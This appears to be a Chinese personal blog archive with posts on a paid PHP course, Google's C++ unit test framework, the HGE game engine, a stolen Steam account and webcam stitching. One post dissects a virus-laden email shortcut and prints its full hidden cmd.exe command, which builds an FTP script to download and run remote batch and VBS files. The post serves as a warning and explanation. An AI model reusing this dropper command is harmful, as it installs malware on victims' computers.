六先生開課事件 : 我的看法

話說,有玩過魔獸爭霸三國無雙之類的地圖的人都知道,看到數字人,也就是ID全由數字組成的玩家,有很大的機會中離,不過這一點都扯不上邊 XD

最近很熱鬧的事情是,知名部落客Mr.6先生開的程式設計課程被踢暴課程的內容很差勁

http://mr6offline.com

大約看了一下是教一些PHP MySQL之類老掉牙的東西,但驚人的是三堂課要$4500大洋,而且跟據上面的部落格暴料還教得不怎麼樣,但是廣告詞卻寫得非常動人,想創業沒法靠別人,所以只能靠自己寫程式,學完就能靠自己寫程式創業之類的巴拉巴拉…

那我們未來要靠寫程式吃飯的資工系學生們是不是全都要去喝西北風啦? 為什麼這次事件會被罵得那麼慘,原因很簡單

頂著史丹佛等的和一堆亮麗經歷的光環,收費4500,但教的卻都是一些老掉牙了無新意的東西,PHP不難,但是真的值得不懂程式想學寫程式的人學習用來創業,用來寫網頁嗎? 先不論教得好不好,我個人認為:

不值得…..

PHP是一個設計很差勁的程式語言(請參考別讓危險成為預設的行為,讓危險的行為比安全的行為更麻煩),但不可否認的它是目前用來寫網頁最流行的程式語言,它也有它許多的優點,中文資源隨手可得,對於初學者來說,要用PHP寫網頁卻實是不難,但是,要寫出合格的網頁程式,卻需要很多瑣碎的know-how,不是初學者三兩天就可以達成的事情,初學者可以用PHP寫出各種常見的網頁程式,但是裡面充滿無數的問題、臭蟲、漏洞,光是一個許功蓋問題初學者可能就覺得莫明奇妙,但遲早會遇到,聲稱要三堂課教會學生寫PHP到可以用來自行創業,我只能說胡扯

老掉牙的PHP MySQL…

一樣技術有多老掉牙,或許我們可以定一個指標,叫做天瓏書局中文書指標,用技術的名詞在天瓏書局搜尋中文書,看數量有多少

PHP的結果 118筆

有118筆符合的書,PHP到底有多老掉牙,這表示PHP的中文資源已經是唾手可得的地步,隨便找個有工程師的頭銜的人問他,你會不會PHP? 我想有八成的機會他都會回答Yes,即使是社交工程師(誤),但在這裡我要強調的是,不是老掉牙、被用到爛掉就表示它不好,我一直都認為每種程式語言都各有優缺點,將他們用在正確的地方才是明確的選擇,而六先生聲稱想創業寫網頁教的居然是PHP土法煉鋼在寫網頁,這真的令人覺得不解,到底要寫到民國幾年,更何況既然PHP MySQL等已經那麼普遍,到底有什麼價值可以花4500元去學?

那該教什麼好?

真正想要快速寫能用的網頁,最好是學習網頁框架,隨便一款網頁框架都比用PHP土法鍊鋼做起來得好,收費昂貴教的卻是那麼落伍且不明智的方式,真令人覺得無法認同,但是姜太公釣魚,願者上勾,如果覺得真的有那個價值,去學也沒人能阻止,但在我看來,這就好像去用高價買一瓶平凡無奇的水,明明是隨手可得的東西,但是上面貼著"史丹佛雙碩士",一樣的道理

以我的看法,如果教的是現代一點的東西還令人能接受,像TurboGears、Django、Ruby On Rails等等,我們來看看天瓏書局中文書指標

TurboGears 1 (簡體中文)

Django 0筆

Ruby On Rails 12筆

同樣是中文資源,差那麼多,我如果今天是初學者,也沒辦法靠自己學習最新的技術,中文書少得可憐,或著根本沒有,就算英文能力夠,礙於技術的背景知識的需要而學不了那些東西,如果是這樣的話,開課教這些網頁框架,快速開發、省略細節、更安全、更有生產力、更敏捷,也比較適合創業的目的,再者很少人會,才有那樣的價值,這樣看來花4500去學明明已經被用到爛掉,那麼多人會的東西其實蠻冤大頭的,真的要學PHP找家教一對一教學都來得便宜和實在,或是買本書來自學也便宜又實惠

但是,再次的,我必須要強調,也不是越新的技術就越好,它們有比現有的東西更好的地方,但缺點就是因為很新資源比較少,可能有不夠穩定等問題,物以稀為貴,正因為很少人懂,才顯得有價值,我記得我以前我有個家教學生在討論價錢時這麼跟我說

我去家樂福打工一個小時才多少

我想了一想,就這麼回答他

你去路邊隨便拉一個人都能去家樂福打工,但是你沒辦法路邊拉一個人來教你C語言

這是同樣的道理,隨手可得的東西沒什麼價值,而學習最新技術的基本門檻是英文能力,英文能力不好,只能看中文書的話,等到有人翻譯通常又有更新更好的東西出來了,只會中文的話就永遠只能落在人後,六先生自稱

美國史丹佛電機、管理雙碩士,14歲移民加拿大,而後移居美國矽谷

即然有能力,為何不教一些較現代的技術,卻教PHP MySQL等土法鍊鋼的方式,想要創業,自己寫程式,這明明PHP+MySQL是個很不切實際的選擇,六先生如果真的有心想開課教人寫網頁創業,個人建議還是學一些現代一點的東西來教比較實在

那自己學寫程式創業到底可不可能?

我認為,可能,但機會很小,即然我們知道速成的程式設計能力是胡扯,那麼表示真的要能夠寫真正能用的程式需要時間,網路是瞬息萬變的,等你真的學會,寫出程式來,網路可能又是另一回事了,不過到了那個時候至少有技術,有能力可以實現自己的想法,視當時的情況實現也不是不可能,至於要花多久呢? 我想… 十年吧,我曾看過一篇文章這麼說,學習一樣專業,需要十年的時間,這文章我一時找不到,我個人覺得蠻認同這樣的說法,我個人從國一開始學寫程式,到今年差不多九年了,畢業的話就剛好十年了,但是我覺得我還是有很多東西要學,或許你覺得不認同,你說我照著六先生教的可能三天就能寫個留言版還什麼的,但是事實是,程式有分大小,小程式就算隨便亂寫、躺著寫、坐著寫、趴著寫、跳著寫,也硬是可以寫出來,但大程式就不一樣了,當你程式寫著寫著,規模越來越大,你會發現程式越來越混亂,越來越難以除錯,到最後你的程式變成一沱難以想像的東西,你這邊改了發現那邊居然跑出漏洞,那邊改了又跑出新的漏洞,為什麼我瞭解,原因很簡單,我寫過數不清的爛程式,從土法鍊鋼開始慢慢地摸索,因此我很清楚爛程式寫大的時候到底是什麼情況,但寫出來就算了,事情才剛開始,程式不是寫出來就結束了,你還得維護它,如果有新的功能要加進去怎麼辦? 使用者太多原本的系統沒辦法負擔又該怎麼辦? 又得想辦法改寫程式,現實是殘酷的,不是每個人都是你網站、程式的愛護者,會有一群無聊的、為了利益的人,想盡各種方法來玩你的系統,為了好玩、為了撈你的資料賣給詐騙集團,老練的設計師都有可能出錯導至系統被攻擊,更何況是半生不熟的設計師,所以為了要能創業而學寫程式,真的能成功的機會可能比中樂透還低,不過我相信真的有人能做到,但肯定是有過人毅力的奇才

那程式設計的重點到底在哪裡?

土法練鋼寫程式的人我個人稱為"黑手",不可否認我當過很久的黑手,用各種笨方法硬寫程式,所以才會遇到各種問題,那到底缺少什麼? 程式設計師和程式黑手的差別到底在哪裡? 程式設計的重點在於設計,到底什麼是設計? 六先生提過設計

姚老師告訴對方,「啊,他在學程式設計!」

17歲的我,非常驕傲的抬起頭來。不是因為「程式」這個炫麗的字眼,而是「設計」。

加拿大沒有什麼好科系和壞科系的,沒有「選系不選校」的問題,我一點都不為「程式」而驕傲,我為「設計」而驕傲。

17歲,只有考試,只有作業,只有報告…什麼,「設計」?所以,以後我真的可以這個叫「程式」的東西來「設計」囉?

從那隻會動的蟲子以後,我果然就發現,原來,用程式要實現自己的任何點子,是這麼容易的一件事!

六先生說對了重點,程式設計真正重要的的確是設計而不是程式,但是我很懷疑他到底懂不懂得設計,我承認我對於設計還差很遠,有人曾這樣說過

有才華洋溢的年輕編程人員,但沒有年輕的程式設計師

原文是英文,我記得似乎是在某本書上看到的,一時也想不起來,我寫的語意用詞可能也沒有那麼正確,但是他想表達的大概是這樣,寫程式這件事情要寫得好其實不難,很多程式設計師很年輕就表現出很強的編程能力,但是很少有程式設計師在年輕時就能表現出設計能力,這表示設計不是很短的時間內可以學會的,需要的是長時間的累積,不是說設計兩個字就真的會設計

還有什麼? 團隊合作?

除此之外六先生還有提到

所謂速成,就是一個月內就開始寫點子。

我們希望找到一群志同道合的人或許一起創業。

我們希望一邊寫,一邊還討論現在網路最新的狀況與可用的API。

我們還一邊交換自己使用的機房與SEO的建議。

甚至,我們互相幫對方寫對方的程式,整個課程就像一個超大的創業團隊,各有各的目標,但各自之間是互相幫忙的。

這問題就更大了,團隊寫程式和一個人寫程式是兩回事,著名的軟體專案開發經驗談的書 "人月神話" 裡有提到,軟體的開發不像是收割小麥,人越多就越有效率,而是人越多,所需要付出的溝通成本就越多,反而會更沒有效率,一個人寫程式,你自己怎麼寫,你自己知道,所有的東西都在你的掌控中,歐~ 不,連你自己都可能忘記自己以前寫的程式,更何況是和別人合作,你得讀別人的程式,他寫出來的如果是天書,你也要能讀懂天書才能夠和他合作,而且程式的開發,如果需求是自己想,自己來實現會最有效率,如果是別人的需求,經過溝通,很容易發生寫出來的程式不是需求者要的東西,從六先生所謂的互相幫對方寫對方的程式,真的是莫名奇妙, 一整個團隊成員們都有不一樣的目標,但是卻又能共同開發來達成這些目標,真的能辦到,我只能說六先生太神了….

最後

我沒有史丹佛學歷,也沒待過知名企業,只有自學程式九年,寫程式不怎樣,打嘴砲還有點自信的小小阿宅,以上純屬嘴砲….僅供參考,看看就好 XD

Posted in 中文文章, 分享 | Tagged , , , | 9 Comments

Google Unit Test Framework試玩

一直一來我都知道Unit Test對於程式的開發是蠻重要的一個環節,在以往我們常常不停地改寫程式,在這個過程中,有意無意地常常會有東西被改壞掉還不知道,而我們檢查的方式可能很常是透過一直修改程式碼或輸入的資料來測試,但是當程式越來越大,我們測試時只專注在一個地方,此時所要測試的程式越來越多,不小心出錯的可能也越來越多,每改寫一次就是一次昂貴的人力檢查,最後程式就像一艘漏水的船,補了這裡,那裡卻又多了一個洞,船員像無頭蒼蠅一樣四處補洞,這樣的情況就是Unit Test能解決的問題,透過Unit Test,每次寫的程式碼都交給程式自動測試,一來測試的速度很快,不管是一百次還是一千次,總比人工測試來得快速、正確、廣範,但這不是免費的,代價就是程式設計師要寫很多Unit Test的程式碼,還要想要如何寫Unit Test的程式,進一步的還有測試導向的開發模式(Test-driven development),程式是在Unit Test寫完之後才開始寫,這樣一來迫使程式設計師在一開始就得把設計想好,邊寫邊想的做法不再可行,這或許算缺點也算優點

這些我都知道,但都沒有很確實去做,之前有用Python寫過Unit Test,他那種寫法我很喜歡,但C++卻沒有,直到這次想開發某些東西,我決定要試著落實TDD,但在開始以前,要有合適的工具,也就是自動測試的框架,起初我使用Boost.Test,雖然說可以使用,但是我不得不抱怨,他的文件是寫給鬼看的,好幾十頁的文件裡面廢話連篇,分類也很不明確,難以找到重點,或許是我英文程度太差,我真的讀不太懂Boost.Test到底怎麼用,靠著東拼西湊勉強終於還算可以使用,但是或許是我搞不太清楚它一堆Compile時用的Macro定義的Flag如何使用,編譯起來不知為何非常地慢

不合胃口(有些反胃的感覺)的文件,讓我覺得該是時候和Boost.Test說再見,尋找新歡的時候到了,無意間發現,在不知道什麼時候突然冒出來的Google Unit Test Framework,似乎才剛釋放出來沒多久,是Google內部C++寫Unit Test的框架,開放成Open source的專案,看起來很不錯,文件簡單明瞭,不像Boost.Test幾十頁連篇翻半天還不知道Unit Test到底要怎樣執行,他們主張為什麼要使用Google Unit Test Framework的理由:

  1. Tests should be independent and repeatable. It’s a pain to debug a test that succeeds or fails as a result of other tests. Google C++ Testing Framework isolates the tests by running each of them on a different object. When a test fails, Google C++ Testing Framework allows you to run it in isolation for quick debugging.
  2. Tests should be well organized and reflect the structure of the tested code. Google C++ Testing Framework groups related tests into test cases that can share data and subroutines. This common pattern is easy to recognize and makes tests easy to maintain. Such consistency is especially helpful when people switch projects and start to work on a new code base.
  3. Tests should be portable and reusable. The open-source community has a lot of code that is platform-neutral, its tests should also be platform-neutral. Google C++ Testing Framework works on different OSes, with different compilers (gcc, MSVC, and others), with or without exceptions, so Google C++ Testing Framework tests can easily work with a variety of configurations. (Note that the current release only contains build scripts for Linux – we are actively working on scripts for other platforms.)
  4. When tests fail, they should provide as much information about the problem as possible. Google C++ Testing Framework doesn’t stop at the first test failure. Instead, it only stops the current test and continues with the next. You can also set up tests that report non-fatal failures after which the current test continues. Thus, you can detect and fix multiple bugs in a single run-edit-compile cycle.
  5. The testing framework should liberate test writers from housekeeping chores and let them focus on the test content. Google C++ Testing Framework automatically keeps track of all tests defined, and doesn’t require the user to enumerate them in order to run them.
  6. Tests should be fast. With Google C++ Testing Framework, you can reuse shared resources across tests and pay for the set-up/tear-down only once, without making tests depend on each other.

聽起來很合我胃口,於是就下載來試試,首先,要得編譯Google Test的library,以Visual Studio來說,開啟它的.sln檔,然後編譯就可以了

接著是如何使用Google Test? 雖然有點小麻煩,但其實也還好,首先include "gtest/gtest.h",接著是lib的設定,因為Google Test的lib是使用/MT參數進行編譯,所以你的專案也一樣要設為/MT或/MTd(Debug 模式下使用),然後link gtest.lib就可以了,如果不這樣做,你會看見一大堆xxx aleardy defined in xxx的link錯誤

而我用Code Blocks似乎因為編譯參數不太一樣又遇到一堆link錯誤,後來發現好像是Code Blocks的Console Application專案一開始就link的msvcrtd.lib一系列.lib所造成的,將那些移除只剩gtest.lib或gtestd.lib就可以正確執行,我隨手從它的範例裡組合出一個測試的執行檔

#include

#include 

using namespace std;

// Returns n! (the factorial of n).  For negative n, n! is defined to be 1.
int Factorial(int n) {
  int result = 1;
  for (int i = 1; i <= n; i++) {
    result *= i;
  }

  return result;
}

// Returns true iff n is a prime number.
bool IsPrime(int n) {
  // Trivial case 1: small numbers
  if (n <= 1) return false;

  // Trivial case 2: even numbers
  if (n % 2 == 0) return n == 2;

  // Now, we have that n is odd and n >= 3.

  // Try to divide n by every odd number i, starting from 3
  for (int i = 3; ; i += 2) {
    // We only have to try i up to the squre root of n
    if (i > n/i) break;

    // Now, we have i <= n/i < n.
    // If n is divisible by i, n is not prime.
    if (n % i == 0) return false;
  }

  // n has no integer factor in the range (1, n), and thus is prime.
  return true;
}

// Step 2. Use the TEST macro to define your tests.
//
// TEST has two parameters: the test case name and the test name.
// After using the macro, you should define your test logic between a
// pair of braces.  You can use a bunch of macros to indicate the
// success or failure of a test.  EXPECT_TRUE and EXPECT_EQ are
// examples of such macros.  For a complete list, see gtest.h.
//
//
//
// In Google Test, tests are grouped into test cases.  This is how we
// keep test code organized.  You should put logically related tests
// into the same test case.
//
// The test case name and the test name should both be valid C++
// identifiers.  And you should not use underscore (_) in the names.
//
// Google Test guarantees that each test you define is run exactly
// once, but it makes no guarantee on the order the tests are
// executed.  Therefore, you should write your tests in such a way
// that their results don't depend on their order.
//
// 

// Tests Factorial().

// Tests factorial of negative numbers.
TEST(FactorialTest, Negative) {
  // This test is named "Negative", and belongs to the "FactorialTest"
  // test case.
  EXPECT_EQ(1, Factorial(-5));
  EXPECT_EQ(1, Factorial(-1));
  EXPECT_TRUE(Factorial(-10) > 0);

  //
  //
  // EXPECT_EQ(expected, actual) is the same as
  //
  //   EXPECT_TRUE((expected) == (actual))
  //
  // except that it will print both the expected value and the actual
  // value when the assertion fails.  This is very helpful for
  // debugging.  Therefore in this case EXPECT_EQ is preferred.
  //
  // On the other hand, EXPECT_TRUE accepts any Boolean expression,
  // and is thus more general.
  //
  //
}

// Tests factorial of 0.
TEST(FactorialTest, Zero) {
  EXPECT_EQ(1, Factorial(0));
}

// Tests factorial of positive numbers.
TEST(FactorialTest, Positive) {
  EXPECT_EQ(1, Factorial(1));
  EXPECT_EQ(2, Factorial(2));
  EXPECT_EQ(6, Factorial(3));
  EXPECT_EQ(40320, Factorial(8));
}

// Tests IsPrime()

// Tests negative input.
TEST(IsPrimeTest, Negative) {
  // This test belongs to the IsPrimeTest test case.

  EXPECT_FALSE(IsPrime(-1));
  EXPECT_FALSE(IsPrime(-2));
  EXPECT_FALSE(IsPrime(INT_MIN));
}

// Tests some trivial cases.
TEST(IsPrimeTest, Trivial) {
  EXPECT_FALSE(IsPrime(0));
  EXPECT_FALSE(IsPrime(1));
  EXPECT_TRUE(IsPrime(2));
  EXPECT_TRUE(IsPrime(3));
}

// Tests positive input.
TEST(IsPrimeTest, Positive) {
  EXPECT_FALSE(IsPrime(4));
  EXPECT_TRUE(IsPrime(5));
  EXPECT_FALSE(IsPrime(6));
  EXPECT_TRUE(IsPrime(23));
}

int main(int argc, char** argv) {
  // Prints elapsed time by default.
  //testing::GTEST_FLAG(print_time) = true;

  // This allows the user to override the flag on the command line.
  testing::InitGoogleTest(&argc, argv);

  return RUN_ALL_TESTS();
}

很簡單明瞭吧? 然後它執行的結果畫面如下

Google test 執行結果

Google test 執行結果

沒想到還有顏色,看起來蠻酷的對吧,很酷有時候也是選擇專案的理由之一,在這樣試玩下來,雖然還沒深入研究,還有實際寫Unit Test,但是感覺起來真的很不錯,有興趣的人可以試一試

Posted in 中文文章, 分享, C/C++ | Tagged , , , , | 6 Comments

Google C++ 程式風格指南

今天在找比Boost.Test更好用的Unit Ttest Framework時,在看Google Unit Test Framework時,無意間發現了Google的程式風格指南,裡面有C++的程式風格指南,我看了一下覺得還蠻有參考價值的,他們不是沒有理由的規定編程的風格,每條理由都有清楚寫出優點、缺點、甚至討論等等,做為決定團隊程式語言風格的指南決定,或是看他們決定的理由,都很有幫助

學寫C++的人可以參考看看

註 : 每個條目要按一個向下的三角形會展開細節,優缺點和討論等等

Posted in 中文文章, 分享, C/C++ | Tagged , , , , , | Leave a comment

靚影特務 (Mirror’s Edge)

這幾天在Steam的最新消息上不小心瞄到一款遊戲引起我的興趣

mirrors_edge

mirrors_edge

稍維看了一下遊戲的內容,故事背景是一座資訊受到高度控管的城市,人們傳遞訊息的方式都是透過在屋頂上跳躍的信使

接著最令人著迷的是它的遊戲畫面,以及遊戲的方式,穿梭在城市的各個角落,伴隨著女主角的喘息聲,與警笛聲,飛躍過聳立的大樓,四處有追趕妳的敵人,整個城市就在腳下,節奏快速地進行,動人的音樂在耳邊響起,沒有退路,只有往前才能穫得自由,這樣的場景似乎只出現在夢裡,現在它是一款遊戲,光看demo就令人覺得心動

Posted in 中文文章, 遊戲 | Tagged | 3 Comments

Haaf’s Game Engine : 硬體支援加速的2D遊戲引擎

長久以來我一直想寫一個2D遊戲引擎,每次我都自己重頭做起,甚至每個pixel都自己用迴圈進行copy和半透明的運算等等工作,但是要寫一個引擎談何容易,不光是有很多細節要處理,設計得好壞又是另一回事,我以前重寫過六次的線上遊戲都是架構在自己寫的引擎上,做為學習確實學到了不少東西,但是就實際應用來看既浪費時間又難以在第一次就做到滿意的地步,使用別人造好的輪子當然是較好的選擇,但是在之前一直沒有見到什麼令人比較喜愛的引擎,SDL也同樣是用軟體繪圖,速度不夠快,要做特效也做不太來,光是旋轉縮放等問題就令人頭大,我只是想寫遊戲,有一天我發現了符合我想法的2D引擎,HGE(Haaf’s Game Engine)

它的銘言是:

Fast and convenient development of high-quality small 2D games without knowing much about technology.

在我研究了一下之後,我發現它正是我心目中的2D引擎,它隱藏了很多煩人的細節,真正做到只是想寫遊戲這樣的要求,它使用Direct3D來畫2D圖形,使用硬體當然速度比軟體畫快得多,它非常簡單好用,支援常見的圖檔案格式,它有粒子系統、資源打包等等功能,總而言之,基本該有的支援它幾乎都有了,而且都很簡單易用,還有最令人高興的是,它的文件非常的清楚、完備,它在之前似乎是商業軟體,後來才變成免費的Open source project,我想因為這樣它的文件才會如此完整,它使用zlib/libpng License,可以使用在商業用途,這也很合我胃口,不會像GNU License病毒那樣,聽到商業兩字就得說掰掰,以做為2D遊戲的引擎而言,這樣的引擎可以說是我心目中的引擎,我今天隨手寫了一個小程式,只是算試玩性質,根本還不能表現它的實力,在我看來要用它來寫東方系列那樣的射擊遊戲也很夠用,有點手癢想寫一個來玩玩看

HGE引擎demo

HGE引擎demo

下載 : HGE引擎demo小程式

當然這對HGE來說只是小菜一盤,請看官網的demo,很酷的demo,令人印相深刻

Posted in 中文文章, 分享, 遊戲設計 | Tagged , | 3 Comments

HGE project wizard template for Code::Blocks

I am learning HGE (Haaf’s Game Engine) these days. It is troublesome to set up all include and library directory stuff every time you want to write an application based on HGE. For this reason I spent some time to learn how to create a Code::Blocks project wizard template, and finally finish it. It is quite simple to install the HGE project wizard template into Code::Blocks. The only step you have to do is unzip the zip file to the location you install Code::Blocks and restart Code::Blocks. If you have installed other nonstandard templates, those templates might disappear from the project list, because Code::Blocks use "share\CodeBlocks\templates\wizard\config.script" to list all templates, and you overwrite it. To solve that problem, you can merge config.script manually. It is not too difficult to understand that file if you are going to learn how to write a game with C or C++ :D

Download : HGE project wizard template for codeblocks

Posted in 分享, C/C++, English Articles, 遊戲 | Tagged , , , , , | 2 Comments

Code::Blocks的HGE專案樣版

最近開始研就HGE (Haaf’s Game Engine),為了能方便開新專案寫HGE的程式,我特地研究了一下如何製作Code::Blocks的Wizard template,有個樣版每次開新專案就很方便,不用每次都要設定link之類的麻煩事情,我將它上傳,有興趣的就抓回去使用吧,安裝方法很簡單,只要解壓縮到Code::Blocks安裝的目錄下即可,如果你有安裝其它Project Wizard template的話,有可能會抓不到,或讓其它安裝的template被蓋掉,因為Code::Blocks是依照share\CodeBlocks\templates\wizard\config.script這個script檔來決定有哪些template,遇到這個問題的話,就請手動合併config.script檔案,內容很簡單,應該看了大概就明白在做什麼的

HGE project wizard template for codeblocks

Posted in 中文文章, 分享, C/C++, 遊戲設計 | Tagged , | 2 Comments

病毒的花招 捷徑檔

前些天收到這封信

女性也射精的最新研究

女性在達到性高潮的一剎那,即陰道充血、膨脹到後期,
陰道平滑肌發生三至六次節律性收縮,會陰及全身的許
多肌群亦同時出現數次控制不住的痙攣性收縮,陰部的
脹滿感瞬間向全身放射,隨著高度的性快感,意識變得
模糊起來,部分女性可發出柔聲輕喚,而極個別女性可
伴有“射精”現象

然後附加了一個檔案

女性也射精的最新研究.lnk

一附就是我是病毒的樣子,看來是某個有我信箱的人中毒自動寄過來的病毒信,有趣的是,看到.lnk我直覺地想應該會開啟某個惡意網站,但是我另存來看看,發現我錯了

他捷徑的目標是這樣

"%windir%\system32\cmd.exe /c echo open tloaindm5.2288.org>>t.t&echo 123>>t.t&echo 123>>t.t&echo get down2.bat c:\down2.bat>>t.t&echo get vnet2.vbs %windir%\vnet2.vbs>>t.t&echo bye>>t.t&ftp -s:t.t&del t.t&start %windir%\vnet2.vbs&                     "

後面接了一大串的空白,沒仔細看還以為是空白,原來字都在前面,這病毒還真是奸巧

他的目標執行的東西是這樣

echo open tloaindm5.2288.org >> t.t
echo 123>>t.t
echo 123>>t.t
echo get down2.bat c:\down2.bat>>t.t
echo get vnet2.vbs %windir%\vnet2.vbs>>t.t
echo bye>>t.t
ftp -s:t.t
del t.t
start %windir%\vnet2.vbs

所以他會建立一個t.t的檔案,然後用ftp指令執行,連到tloaindm5.2288.org接著下載down2.bat,然後是vnet2.vbs,我上去那個被開ftp都不知道的倒霉鬼的ftp站台參觀了一下,它的檔案有這些

病毒FTP的檔案內容

病毒FTP的檔案內容

看到lineage.exe,一附就是衝著線上遊戲天堂來的,我猜他可能會把天堂的執行檔給替換掉之類的

沒有仔細繼續研究裡面的東西,有興趣的人自己繼續研究裡面的東西吧,lnk捷徑檔執行病毒的確是蠻有創意的,這年頭什麼檔案看來都不應該相信

Posted in 中文文章, 病毒 | Tagged | 1 Comment

同學的Steam帳號被俄羅斯的雜碎盜走了

我同學跟我說他收到了email說他Steam的信,要我幫他看看在寫什麼

This email message confirms that your Steam account contact email address has been successfully changed.

We are sending this notice to ensure the privacy and security of your Steam account. If you authorized this change, no further action is necessary. If you did not authorize this change, or if you need additional help with your account, please follow this link to the

http://support.steampowered.com/cgi-bin/steampowered.cfg/php/enduser/std_adp.php?p_faqid=197

Thanks for reviewing this information and helping us to maintain the privacy and security of your account.

原來是他的email被改掉了,還不是他改的,看來是被盜帳號了,我還以為只有線上遊戲的帳號有人要盜,沒想道連Steam的帳號都有人要盜= =",雖然說沒有什麼額外的價值,不過就等於是把整帳號的遊戲全偷走

他改了暱稱以外還把他好友都加進來,原本的好友都被他砍了,看了一下是來自俄羅斯的雜碎

被俄羅斯雜碎盜的Steam帳號

被俄羅斯雜碎盜的Steam帳號

俄羅斯雜碎的好友

俄羅斯雜碎的好友

不過還好留有原本的CD Key應該可以要回來

說到俄羅斯的雜碎,讓我想起GTA IV的Dimitri那個俄國雜碎 XD

話說仔細想一想那個上線的應該不是盜的人,上網找一下似乎是集團有計劃的用bot自動傳送釣魚網頁,所以看來是某個俄國的雜碎想買便宜的L4D或其它裡面的遊戲,不過他買到便宜的遊戲過一陣子就會被拿回去,他的錢也就白花了,科科,這俄羅斯雜碎死好 XD

Posted in 中文文章, WTF | Tagged , | Leave a comment

多Webcam影像合成

今天用了兩顆Webcam來做影像的合成,其實還蠻簡單的,最初中間會有條明顯的線,很難看,為此我讓它們之間有一段重疊的地方,然後使用半透明漸層將兩邊影像疊在一起,看起來效果很好,這樣做好處在於可以增加視角,理論上越多顆webcam視角可以越廣,不過缺點在於當物體太靠鏡頭時,看起來就會像斷掉一樣,因為視差的關係,但是無限遠的地方影像應該是重合的,這點應該是沒問題,有圖有真相,以下是我實際測試的畫面

兩個Webcam影像合成畫面

兩個Webcam影像合成畫面

兩顆Webcam

兩顆Webcam

Posted in 專題, 中文文章 | Tagged , | 1 Comment